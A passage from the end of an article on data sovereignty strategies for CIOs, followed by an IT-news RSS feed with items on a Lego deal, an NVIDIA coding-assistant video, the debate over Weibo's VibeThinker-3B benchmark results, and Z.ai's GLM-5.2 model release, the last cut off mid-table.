<p>In practice, that means classifying workloads based on risk, sensitivity, and business impact. Highly sensitive data such as HR, security, or proprietary AI models may need to remain in tightly controlled environments, whether in sovereign clouds or on-prem infrastructure. Less sensitive applications like marketing systems or public-facing services can continue to run in global cloud environments.</p>



<p>This workload-based approach allows CIOs to balance competing priorities of cost, performance, regulatory compliance, and <a href="https://www.cio.com/article/4135922/what-ax-can-do-to-deliver-cohesion-and-uniformity-to-ai-agents.html?utm=hybrid_search">UX</a>. It also reflects a more mature understanding of sovereignty as a set of trade-offs rather than an absolute goal.</p>



<p>Jaser also argues that CIOs should avoid overcomplicating the process. “Don’t over-engineer it,” he says. “Just start classifying your workloads and move to relevant things.”</p>



<p>Bell argues that most enterprise data don’t require the same level of protection. “More than 90% of enterprise data can safely sit in the public domain,” she says. “There’s really a small percentage that represents the keys to the castle and needs to be protected.”</p>



<h2 class="wp-block-heading">4. Build portability and exit into every layer of the stack</h2>



<p>As organizations distribute workloads across multiple clouds, sovereign environments, and regional providers, the ability to move workloads becomes critical.</p>



<p>Designing for workload portability upfront is becoming increasingly important, Bell says, and that flexibility becomes a critical requirement, not just for optimization.”</p>



<p>Technically, this is driving greater adoption of open standards, containerization, and orchestration platforms such as Kubernetes. These technologies make it easier to shift workloads between environments, whether across cloud providers or between <a href="https://www.cio.com/article/4159281/neglecting-the-cloud-good-luck-with-ai.html?utm=hybrid_search">cloud</a> and on-prem systems.</p>



<p>Contractually, CIOs are pushing for stronger exit clauses, price protections, and flexibility. According to Pinto, organizations are increasingly embedding exit by design into their sourcing strategies since if contracts don’t allow for rapid disengagement, they may find themselves locked into environments that no longer meet regulatory or operational requirements.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Shannon Bell, OpenText</p>
</figcaption></figure><p class="imageCredit">OpenText</p></div>



<p>The goal isn’t constant movement, but optionality. CIOs want the ability to adapt as conditions change. “The mistake some CIOs make is trying to have an extreme amount of portability, or not enough portability,” Bell says. “The magic is in the middle.”</p>



<h2 class="wp-block-heading">5. Extend sovereignty thinking to the edge and endpoints</h2>



<p>While much of the sovereignty discussion focuses on cloud infrastructure, risk doesn’t stop at the data center but extends to how data is accessed, particularly in a world of remote work and mobile devices. That’s where a less visible but increasingly important dimension of the problem is emerging.</p>



<p>“The business transcends borders, but your data can’t always do the same,” Stern says.</p>



<p>As employees travel and work remotely, sensitive data may be accessed across jurisdictions in ways that violate local regulations. Devices can also be inspected or seized at borders, creating additional exposure. As a result, some organizations are rethinking the model entirely, focusing less on securing devices and more on controlling access to data.</p>



<p>Stern argues that AI and distributed workforces are changing the nature of enterprise security itself. “Identity is now becoming the perimeter,” he says. “It’s not device-centric anymore but identity-centric.”</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Matt Stern, Hypori</p>
</figcaption></figure><p class="imageCredit">Hypori</p></div>



<p>This shift reflects a broader reality that sovereignty is more about who can access data, from where, and under what conditions rather than just about where it’s stored.</p>



<h2 class="wp-block-heading">From cost optimization to continuous risk management</h2>



<p>Taken together, these changes point to a broader transformation in the <a href="https://www.cio.com/article/4126383/how-the-growing-ai-workforce-is-changing-the-cio-role.html?utm=hybrid_search">CIO role</a>. Technology strategy is about managing a dynamic set of risks for the long term that spans regulation, geopolitics, supply chains, and security, not just delivering capability at the lowest cost.</p>



<p>“This isn’t solely the responsibility of the CIO,” says Babin. “The executive team and the board need to understand the trade-offs.” In many cases, achieving greater control and adaptability requires additional costs, slower deployment, or reduced access to cutting-edge features.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Ron Babin, Toronto Metropolitan University</p>
</figcaption></figure><p class="imageCredit">Toronto Metropolitan University</p></div>



<p>As organizations adapt, CIOs are building strategies that are more complex but also more resilient. According to Pinto, the organizations best positioned for this shift will be those that treat geopolitics as a permanent design constraint not a source of temporary disruption.</p>



<p>That requires a different mindset around operational readiness and risk management. “Being risk ready is about understanding, mitigating, and managing risk in real time,” says Bell.</p>



<p>For CIOs, sovereignty is no longer a niche compliance issue. It’s becoming a core design principle shaping how technology is sourced, deployed, governed, and secured.</p>
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<title><![CDATA[Amazon hat schönes Lego-Minecraft-Set für unter 40 Euro im Angebot]]></title>
<description><![CDATA[Wer schon immer seine eigene Pixelwelt auf dem Schreibtisch erschaffen wollte, bekommt jetzt die perfekte Gelegenheit dazu.]]></description>
<link>https://tsecurity.de/de/3603825/it-nachrichten/amazon-hat-schoenes-lego-minecraft-set-fuer-unter-40-euro-im-angebot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603825/it-nachrichten/amazon-hat-schoenes-lego-minecraft-set-fuer-unter-40-euro-im-angebot/</guid>
<pubDate>Wed, 17 Jun 2026 08:53:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wer schon immer seine eigene Pixelwelt auf dem Schreibtisch erschaffen wollte, bekommt jetzt die perfekte Gelegenheit dazu.]]></content:encoded>
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<title><![CDATA[NVIDIA Built a Lunchbox-Sized AI Supercomputer That Could Crush China’s AI Race Overnight!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 2x - Views:46 Boost your CUDA development workflow with NVIDIA Nsight Copilot. See how this AI coding assistant streamlines complex GPU code.
 This demonstration focuses on the practical application of NVIDIA Nsight Copilot within high-performance computing enviro...]]></description>
<link>https://tsecurity.de/de/3603789/videos/nvidia-built-a-lunchbox-sized-ai-supercomputer-that-could-crush-chinas-ai-race-overnight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603789/videos/nvidia-built-a-lunchbox-sized-ai-supercomputer-that-could-crush-chinas-ai-race-overnight/</guid>
<pubDate>Wed, 17 Jun 2026 08:38:42 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 2x - Views:46 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/fM30x-LjzOk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Boost your CUDA development workflow with NVIDIA Nsight Copilot. See how this AI coding assistant streamlines complex GPU code.<br />
 This demonstration focuses on the practical application of NVIDIA Nsight Copilot within high-performance computing environments. If you are a developer looking to speed up your coding tasks, this overview shows exactly how intelligent suggestions can integrate into your existing NVIDIA DGX Spark workflow to reduce manual effort. We explore the core capabilities of the tool, specifically targeting how it assists with GPU programming challenges. By leveraging AI code suggestions, you can spend less time debugging boilerplate and more time optimizing your kernels for maximum performance. This walkthrough provides a clear look at how modern tooling is changing the way we approach parallel computing tasks.<br />
<br />
Subscribe for weekly GPU development breakdowns, and comment below if you want to see a deep dive on specific CUDA optimization techniques next.<br/></p>]]></content:encoded>
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<title><![CDATA[Why Weibo’s tiny VibeThinker-3B has the AI world arguing over benchmarks again]]></title>
<description><![CDATA[On Sunday, a team of nine researchers at Sina Weibo — the Chinese social media giant better known for its microblogging platform than for cutting-edge artificial intelligence — quietly posted a 14-page technical report to arXiv that sent shockwaves through the AI research community. Their claim: ...]]></description>
<link>https://tsecurity.de/de/3603428/it-nachrichten/why-weibos-tiny-vibethinker-3b-has-the-ai-world-arguing-over-benchmarks-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603428/it-nachrichten/why-weibos-tiny-vibethinker-3b-has-the-ai-world-arguing-over-benchmarks-again/</guid>
<pubDate>Wed, 17 Jun 2026 03:17:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>On Sunday, a team of nine researchers at <a href="https://weibo.com/">Sina Weibo</a> — the Chinese social media giant better known for its microblogging platform than for cutting-edge artificial intelligence — quietly posted a <a href="https://arxiv.org/pdf/2606.16140">14-page technical report</a> to arXiv that sent shockwaves through the AI research community. Their claim: a language model with just 3 billion parameters can match or exceed the reasoning performance of flagship systems from <a href="https://deepmind.google/">Google DeepMind</a>, <a href="https://openai.com/">OpenAI</a>, <a href="https://www.anthropic.com/">Anthropic</a>, and <a href="https://chat.deepseek.com/">DeepSeek</a> that are hundreds of times larger.</p><p>The model, called <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a>, scored 94.3 on <a href="https://aime26.aimedicine.info/">AIME 2026</a> — the American Invitational Mathematics Examination, one of the most demanding standardized math competitions in the world. That figure places it alongside <a href="https://api-docs.deepseek.com/news/news251201">DeepSeek V3.2</a>, a model with 671 billion parameters, and ahead of <a href="https://blog.google/products-and-platforms/products/gemini/gemini-3/">Gemini 3 Pro</a>, Google's high-performance flagship reasoning system, which scored 91.7. With a test-time scaling technique the team calls Claim-Level Reliability Assessment, the score climbs to 97.1, edging past virtually every system in the public record.</p><p>Within hours of publication, the paper had drawn 62 upvotes on <a href="https://huggingface.co/papers/2606.16140">Hugging Face's daily papers</a> feed, the model repository had accumulated 130 likes, and the <a href="https://github.com/WeiboAI/VibeThinker">GitHub repository</a> had reached 685 stars. But the reaction on social media was not uniformly celebratory. It was, in many cases, deeply skeptical.</p><p>"WHAT THE HELL is happening in AI?" wrote the user <a href="https://x.com/orcus108/status/2066876960073281582">@orcus108</a> on X, in a post that accumulated over 161,000 views. "A 3B parameter model just put up coding benchmark scores in the same league as Claude Opus 4.5… I genuinely don't know if this is a breakthrough or if the benchmarks are broken."</p><p>That tension — between genuine scientific advancement and the growing suspicion that AI benchmarks have become gameable to the point of meaninglessness — sits at the heart of the <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> story. And the answer matters enormously, not just for academic bragging rights, but for the multibillion-dollar question of whether the AI industry's relentless push toward ever-larger models is the only path to intelligence.</p><div></div><h2><b>Benchmark scores that defy the scaling laws of modern AI</b></h2><p>The results reported in the technical report are, by any conventional standard, extraordinary.</p><p>On the mathematics side, <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> achieved 91.4 on <a href="https://artificialanalysis.ai/evaluations/aime-2025">AIME 2025</a>, 94.3 on <a href="https://llm-stats.com/benchmarks/aime-2026">AIME 2026</a>, 89.3 on <a href="https://huggingface.co/datasets/MathArena/hmmt_feb_2025">HMMT 2025</a> (the Harvard-MIT Mathematics Tournament), 93.8 on <a href="https://huggingface.co/datasets/MathArena/brumo_2025">BruMO 2025</a> (the Brown University Math Olympiad), and 76.4 on <a href="https://huggingface.co/datasets/Hwilner/imo-answerbench">IMO-AnswerBench</a>, a benchmark comprising 400 problems at the level of the International Mathematical Olympiad. In coding, it posted an 80.2 Pass@1 on <a href="https://www.kaggle.com/benchmarks/open-benchmarks/livecodebench-release-v6">LiveCodeBench v6</a>, a benchmark designed to test executable code generation, and achieved a 96.1 percent acceptance rate on unseen <a href="https://leetcode.com/contest/">LeetCode weekly</a> and biweekly contests from late April through late May 2026. On instruction following, it scored 93.4 on <a href="https://huggingface.co/datasets/google/IFEval">IFEval</a>.</p><p>To put the parameter disparity in perspective: <a href="https://api-docs.deepseek.com/news/news251201">DeepSeek V3.2</a> has 671 billion parameters — roughly 224 times the size of <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a>. <a href="https://huggingface.co/zai-org/GLM-5">GLM-5</a>, from Zhipu AI, has 744 billion parameters. <a href="https://huggingface.co/moonshotai/Kimi-K2.5">Kimi K2.5</a>, from Moonshot AI, exceeds 1 trillion. VibeThinker-3B's 3 billion parameters could run on a consumer laptop.</p><p>The researchers frame this result not as an anomaly but as evidence for a broader theoretical claim. They introduce what they call the "<a href="https://arxiv.org/pdf/2606.16140">Parametric Compression-Coverage Hypothesis</a>," which argues that different types of AI capability have fundamentally different relationships to model size. Verifiable reasoning — the kind tested by math competitions and coding challenges, where answers can be definitively checked — is what the paper calls a "parameter-dense" capability: one that can be compressed into a compact core. Open-domain knowledge, by contrast, is "parameter-expansive," requiring broad coverage across facts, concepts, and edge cases that inherently demands more parameters.</p><p>The paper acknowledges this distinction directly. On <a href="https://epoch.ai/benchmarks/gpqa-diamond">GPQA-Diamond</a>, a graduate-level science knowledge benchmark, VibeThinker-3B scored just 70.2 — well behind the 91.9 achieved by Gemini 3 Pro and the 87.0 scored by Claude Opus 4.5. The authors write that this gap "is consistent with our claim rather than a contradiction to it: the main finding is not that a 3B model has fully replaced leading general-purpose models, but that a small model can reach first-tier performance on many verifiable reasoning tasks."</p><div></div><h2><b>Inside the four-stage training pipeline that powers a tiny reasoning engine</b></h2><p><a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> is not built from scratch. It is post-trained on top of <a href="https://huggingface.co/Qwen/Qwen2.5-Coder-3B">Qwen2.5-Coder-3B</a>, a compact foundation model from Alibaba's Qwen team, through what the Weibo AI researchers call the "Spectrum-to-Signal Principle" — a multi-stage pipeline first introduced in the team's earlier VibeThinker-1.5B work in November 2025.</p><p>The training unfolds in four major phases. The first is a two-stage supervised fine-tuning process that uses curriculum learning: the model first trains on a broad mixture of math, code, STEM reasoning, general dialogue, and instruction-following data, then shifts to a curated subset of harder, longer-horizon reasoning problems. In the second stage, samples with reasoning traces shorter than 5,000 tokens are discarded, and problems that <a href="https://huggingface.co/WeiboAI/VibeThinker-1.5B">VibeThinker-1.5B</a> can solve more than 75 percent of the time are filtered out, forcing the model to focus on genuinely difficult challenges.</p><p>The second phase applies reinforcement learning across multiple domains — mathematics, code, and STEM — using the team's <a href="https://www.emergentmind.com/topics/maxent-guided-policy-optimization-mgpo">MaxEnt-Guided Policy Optimization</a> algorithm, or MGPO, which prioritizes training on problems at the model's current capability boundary rather than problems it already solves easily or finds impossible. Notably, the team found that a strategy that worked well at the 1.5B scale — progressively expanding the context window during RL training — actually hurt performance at 3B. They hypothesize that the stronger starting checkpoint meant that truncating reasoning traces during warm-up was no longer removing noise but disrupting valid reasoning patterns. The solution was to train with a single 64,000-token context window throughout.</p><p>Within the math RL phase, the team also introduces what it calls "<a href="https://arxiv.org/pdf/2606.16140">Long2Short Math RL</a>," a secondary optimization stage that redistributes rewards to favor shorter correct solutions over longer ones, reducing verbosity without sacrificing accuracy. The technique uses a zero-sum reward redistribution that avoids biasing the overall reward signal while nudging the model toward more efficient reasoning.</p><p>The third phase extracts high-quality reasoning trajectories from the RL-trained checkpoints and distills them back into a unified model through supervised fine-tuning. The team uses a "learning-potential score" — essentially the student model's perplexity on each teacher trajectory — to prioritize traces that are correct but that the student has not yet internalized. The final phase, called Instruct RL, applies reinforcement learning on instruction-following tasks using a combination of rule-based validators for format constraints and rubric-based reward models for open-ended quality assessment.</p><p><a href="https://x.com/f14bertolotti/status/2066752828505288902">Francesco Bertolotti</a>, an AI researcher who flagged the paper early on X, described the approach succinctly: "These results were achieved primarily through post-training refinements on Qwen2.5-Coder. The paper doesn't provide many details, but it appears they distill from RL ckpts and then do a final RL-based instruct RL." His post drew over 161,000 views.</p><div></div><h2><b>Real-world testing reveals the gap between benchmark scores and practical AI performance</b></h2><p>For every enthusiastic reaction, the paper drew an equally forceful objection. The AI research community in mid-2026 has grown deeply wary of benchmark-driven claims, and <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> arrived in an environment primed for suspicion.</p><p>"The benchmarks are literal pattern matching single file coding," wrote <a href="https://x.com/BigMoonKR/status/2066950583941214698">@BigMoonKR</a> on X. "It has no relation to actual coding work. I don't know how people still don't get this."</p><p>"Benchmaxxing," declared @<a href="https://x.com/oflu_bedirhan/status/2066883558388404717">oflu_bedirhan</a>, using a term that has become shorthand in the AI community for models that appear optimized specifically for benchmark performance at the expense of real-world utility.</p><p>The most pointed criticism came from users who actually downloaded and tested the model. "Just tried the full precision," wrote <a href="https://x.com/politilols/status/2066901234091438132">@politilols</a>. "It doesn't even know what a uv script (so the most popular Python dev tool) is. Haven't seen that in a single LLM in at least a year now. Benchmaxxed." When Bertolotti responded that the model seemed more focused on mathematical reasoning than practical coding, the user countered: "They include a livecodebench score. Zero chance that is reflective of the model."</p><p><a href="https://x.com/Itsdotdev/status/2066961630521385166">@Itsdotdev</a> raised a structural criticism: "Look into the benchmarks themselves and it probably won't be so shocking. Why no DeepSWE? Why none of the standard benchmarks SOTA providers use?" The user @AvenirReym posed a more diagnostic question: "If it holds on a benchmark made after the model's training cutoff, it's real. If it only wins on AIME-style sets that have been circulating for years, it's leakage."</p><p>The paper's authors appear to have anticipated these objections. The technical report states that training sets "have undergone strict benchmark decontamination," including n-gram-based filtering to remove "n-gram overlaps with evaluation sets."</p><p>The LeetCode contest evaluation — which covers contests from April 25 to May 31, 2026, dates that postdate any plausible training data cutoff — represents the most robust guard against data contamination concerns. On those contests, VibeThinker-3B passed 123 out of 128 first-attempt submissions, a 96.1 percent rate that exceeded GPT-5.2, Doubao Seed 2.0 Pro, Kimi K2.5, and Claude Opus 4.6 under identical evaluation conditions.</p><p>Still, real-world user reports suggest a significant gap between benchmark performance and practical utility — a phenomenon that has become familiar across the industry. "In LM Studio it only responds well to first question, next questions reply to the first question," reported <a href="https://x.com/luismolinaab/status/2066980744220528940">@luismolinaab</a>.</p><div></div><h2><b>Why a social media company may have found a crack in the scaling hypothesis</b></h2><p>Even the sharpest critics acknowledged that achieving these benchmark numbers at 3 billion parameters — regardless of how transferable they are to production use cases — is a meaningful engineering achievement. "Even if it's benchmaxxing doing so with 3B parameters is fascinating, goes to show how fast this field is progressing," wrote <a href="https://x.com/rohityin/status/2066913806287327302">@rohityin.</a></p><p>The observation cuts to a question that has consumed the AI industry since the advent of the scaling hypothesis: Is bigger always better? The conventional wisdom, articulated most famously in the Chinchilla scaling laws and reinforced by the commercial dominance of ever-larger foundation models, holds that more parameters and more training data reliably yield better performance. The economic corollary is stark: training and deploying frontier models costs tens or hundreds of millions of dollars, creating enormous barriers to entry.</p><p><a href="https://huggingface.co/WeiboAI/VibeThinker-3B">VibeThinker-3B</a> challenges that consensus — but only partially. The paper is careful to draw a boundary around its claims, distinguishing between tasks with "clear verification signals" and those that require broad factual knowledge. The Parametric Compression-Coverage Hypothesis explicitly argues that small models cannot replace large ones across the board.</p><p>"The true significance of VibeThinker-3B does not lie in proving that a 3B model can replace large-scale generalists," the paper states, "but rather in providing a concrete empirical signal: the development of compact models is no longer merely a passive compromise for deployment efficiency or cost control; it emerges as a promising research trajectory that is fundamentally complementary to the traditional parameter scaling paradigm."</p><p>Perhaps the most surprising element of the work is its provenance. Sina Weibo — publicly traded on Nasdaq and Hong Kong, with a market capitalization that fluctuates in the single-digit billions — is not a company typically associated with frontier AI research. Yet the VibeThinker series is Weibo's second major open-source AI contribution in seven months. </p><p><a href="https://huggingface.co/WeiboAI/VibeThinker-1.5B">VibeThinker-1.5B</a>, released in November 2025, demonstrated that a model with just 1.5 billion parameters could outperform the original DeepSeek R1 on several math benchmarks — a result the team achieved for what it claimed was a post-training cost of just $7,800, compared to the $294,000 estimated for DeepSeek R1.</p><p>The research team is compact — nine authors, all listed as Sina Weibo Inc. employees. The model is released under the <a href="https://opensource.org/license/mit">MIT License</a>, one of the most permissive open-source licenses available, and the weights are freely downloadable from both <a href="https://huggingface.co/WeiboAI/VibeThinker-3B">Hugging Face</a> and <a href="https://modelscope.cn/models/WeiboAI/VibeThinker-3B">ModelScope</a>. Within the first day of release, community members had already created GGUF quantizations and derivative models.</p><h2><b>Small models, big implications, and the question the AI industry can no longer avoid</b></h2><p>The most honest assessment of <a href="https://huggingface.co/WeiboAI/VibeThinker-3B">VibeThinker-3B</a> may be that it is simultaneously less and more than what the benchmarks suggest. Less, because a model that struggles with basic knowledge of popular developer tools is unlikely to replace any production-grade coding assistant anytime soon. More, because the underlying insight — that reasoning ability and factual knowledge are partially decoupled, and that the former can be compressed far more aggressively than previously assumed — has profound implications for how the industry thinks about model design, deployment economics, and the accessibility of advanced AI capabilities.</p><div></div><p>If the <a href="https://arxiv.org/pdf/2606.16140">Parametric Compression-Coverage Hypothesis</a> holds, it suggests a future in which small, specialized reasoning engines operate alongside large knowledge-rich models in hybrid architectures — a vision where a 3-billion-parameter model handles the logical heavy lifting while a larger system supplies the factual grounding. Such an architecture could dramatically reduce the cost of deploying AI reasoning capabilities, potentially bringing competition-level mathematical and coding performance to devices with modest hardware.</p><p>"The interesting part is that we're starting to separate knowledge from reasoning," wrote <a href="https://x.com/RealLambdaFlux/status/2066924260724265463">@RealLambdaFlux</a> on X. "A small model with strong post-training can punch way above its size on tasks with clear feedback."</p><p><a href="https://x.com/cmitsakis/status/2066850007693578352">@cmitsakis</a> suggested the practical endgame: "I think small models are the future for agents because they can use tools to get the knowledge and they can run fast and cheap."</p><p>Whether that future arrives through <a href="https://huggingface.co/WeiboAI/VibeThinker-3B">VibeThinker-3B</a> specifically, or through the dozens of teams now racing to reproduce and extend these results, the paper has already accomplished something that no benchmark score can fully capture.</p><p>It has forced the AI community to confront an uncomfortable possibility: that for years, the industry may have been spending billions of dollars scaling up parameters to improve a kind of intelligence that could have fit, all along, on a laptop. The weights are public. The code is open. And the most important test isn't on any leaderboard — it's whether anyone can make a model this small actually useful in the real world.</p>]]></content:encoded>
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<title><![CDATA[Z.ai’s open-weights GLM-5.2 beats GPT-5.5 on multiple long-horizon coding benchmarks for 1/6th the cost]]></title>
<description><![CDATA[Today, Chinese AI startup Z.ai (formerly Zhipu AI) announced the immediate release of GLM-5.2, a 753-billion parameter open-weights large language model (LLM) engineered specifically to dominate "long-horizon" autonomous coding and engineering tasks. Available immediately on Hugging Face, the Z.a...]]></description>
<link>https://tsecurity.de/de/3603255/it-nachrichten/zais-open-weights-glm-52-beats-gpt-55-on-multiple-long-horizon-coding-benchmarks-for-16th-the-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603255/it-nachrichten/zais-open-weights-glm-52-beats-gpt-55-on-multiple-long-horizon-coding-benchmarks-for-16th-the-cost/</guid>
<pubDate>Wed, 17 Jun 2026 00:16:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, Chinese AI startup Z.ai (formerly Zhipu AI) <a href="https://z.ai/blog/glm-5.2">announced the immediate release of GLM-5.2</a>, a 753-billion parameter open-weights large language model (LLM) engineered specifically to dominate "long-horizon" autonomous coding and engineering tasks. </p><p>Available immediately on <a href="https://huggingface.co/zai-org/GLM-5.2">Hugging Face</a>, the<a href="https://docs.z.ai/guides/overview/pricing"> Z.ai API</a>, and more than 20 third-party coding environments, the model boasts a highly stable 1-million-token context window alongside enterprise subscription tiers starting at just $12.60 per month. </p><p>In excellent news for cost and security-conscious businesses, z.ai has released GLM-5.2's core weights under an unrestricted <a href="https://huggingface.co/datasets/choosealicense/licenses/blob/main/markdown/mit.md">MIT open-source license</a>, allowing enterprises to download the model freely from Hugging Face, customize or fine-tune it to their liking, and run it potentially locally or via virtual machines for only the cost of their compute and electricity.</p><p>This is an increasingly appealing option for enterprises, as state-of-the-art American proprietary models face an uncertain and potentially interrupted regulatory future, following the<a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do"> Trump Administration's export control directive last week prohibiting foreign nationals from using Anthropic's new Claude Fable 5 model</a> (which that company responded to by taking the models in question entirely offline for <i>all</i> users). </p><p>For enterprise technical decision-makers, z.ai's GLM-5.2 provides a highly capable path to host frontier-level AI locally, entirely bypassing the geographic fencing and commercial limitations.</p><h2><b>IndexShare re-uses one indexer for every four sparse attention layers, reducing compute needs</b></h2><p>Under the hood, GLM-5.2 operates with 753 billion parameters and introduces a major architectural optimization called "IndexShare". </p><p>In standard massive language models, recalculating attention mechanisms across long documents is computationally exorbitant. IndexShare solves this by reusing the identical indexer across every four sparse attention layers. </p><p>At the maximum 1-million-token context length, this single innovation reduces per-token compute FLOPs by a massive 2.9 times. </p><p>The model also features an upgraded Multi-Token Prediction (MTP) layer for speculative decoding, which boosts accepted token length by up to 20% during inference.</p><p>Additionally, Z.ai has implemented flexible, selectable "Thinking Modes". Users can toggle the model's reasoning effort between "Max," designed to push the limits of logical problem-solving, or "High," which strikes a careful balance between high-end performance and latency-sensitive token efficiency.</p><h2><b>State-of-the-art benchmarks for an open model, and matching, even beating proprietary leaders on some categories</b></h2><p>On industry-standard third-party benchmark tests, GLM-5.2 performs above most open source flagship models, even <a href="https://venturebeat.com/technology/deepseek-v4-arrives-with-near-state-of-the-art-intelligence-at-1-6th-the-cost-of-opus-4-7-gpt-5-5">DeepSeek v4</a> and scores near or above its closed-weights rivals, OpenAI's GPT-5.5 and Anthropic's Claude Opus 4.8. </p><p>The model particularly shines in agentic tool use and long-horizon software engineering tasks:</p><ul><li><p><b>SWE-bench Pro:</b> GLM-5.2 scored 62.1, decisively beating GPT-5.5 (58.6) and its own predecessor, GLM-5.1 (58.4).</p></li><li><p><b>FrontierSWE (Dominance):</b> Designed to test long-horizon task completion, GLM-5.2 hit 74.4%, surpassing GPT-5.5 (72.6%) and finishing in a near-tie with Claude Opus 4.8 (75.1%).</p></li></ul><ul><li><p><b>MCP-Atlas:</b> On this tool-usage evaluation, GLM-5.2 achieved a 77.0, outscoring GPT-5.5 (75.3) and performing just shy of Claude Opus 4.8 (77.8).</p></li><li><p><b>Humanity's Last Exam (w/ Tools):</b> When equipped with external tools, GLM-5.2 reached a score of 54.7, coming out ahead of GPT-5.5 (52.2) and tracking closely behind Claude Opus 4.8 (57.9).</p></li><li><p><b>PostTrainBench &amp; SWE-Marathon:</b> In extended, multi-hour engineering workloads, GLM-5.2 consistently topped GPT-5.5, scoring 34.3% against GPT-5.5's 25.0% on PostTrainBench, and 13.0% against GPT-5.5's 12.0% on SWE-Marathon.</p></li></ul><p>While GLM-5.2 trails Claude Opus 4.8 and GPT-5.5 slightly on raw Terminal-Bench 2.1 scores (81.0 versus 85.0 and 84.0, respectively), it significantly outscores Google's Gemini 3.1 Pro (74.0). </p><p>Beyond traditional coding metrics, GLM-5.2 took an impressive first place on the crowdsourced design task benchmark <a href="https://x.com/Designarena/status/2066940737011560652/photo/1">Design Arena</a>, beating out even the aforementioned state-of-the-art Claude Fable 5 with an <a href="https://medium.com/better-ml/metrics-for-evaluating-llms-2c9d86acdbf6">ELO score</a> of 1360. </p><div></div><p> Furthermore, the impact of Z.ai's new selectable "thinking modes" is clearly visible in the data: under the "Max" effort level, GLM-5.2 pushes to peak intelligence, but utilizes nearly 85k output tokens per task. Switching to the "High" effort setting sacrifices only a few points in performance while effectively halving the required token output, providing a crucial optimization lever for latency-sensitive applications.</p><h2><b>Available via Coding Plans and API</b></h2><p>To operationalize the model, Z.ai launched the <a href="https://z.ai/subscribe">GLM Coding Plan</a>, aiming squarely at developer workflows rather than simple chat interfaces. </p><p>The plan offers out-of-the-box support for third-party U.S. and global agentic coding harnesses and tools including Claude Code, OpenClaw, Cline, Kilo Code, Crush, and Factory, among others. The Coding Plan pricing tiers (when billed annually) are highly competitive:</p><ul><li><p><b>Lite:</b> $12.60 per month ($151.20 per year starting in the 2nd year), geared toward lightweight iteration on small repositories.</p></li><li><p><b>Pro:</b> $50.40 per month for day-to-day development on mid-sized repositories, offering 5x the usage allowance of the Lite plan.</p></li><li><p><b>Max:</b> $112.00 per month for heavy workloads, offering 20x the Lite usage and dedicated resources during peak hours.</p></li></ul><p>For enterprise developers integrating the raw model into their own applications, Z.ai's API pricing undercuts its Western rivals significantly while matching the exact rates of the previous GLM-5.1 generation. </p><p>GLM-5.2 API access is <b>priced at $1.40 per million input tokens and $4.40 per million output tokens</b>, making it a mid-priced model globally, but about</p><h1><b>VentureBeat Frontier AI Model API Pricing Snapshot</b></h1><p><i>Sorted by total cost (input + output) from least to most expensive. Pricing shown is standard pay-as-you-go pricing per 1 million tokens.</i></p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input</b></p></td><td><p><b>Output</b></p></td><td><p><b>Total Cost</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba 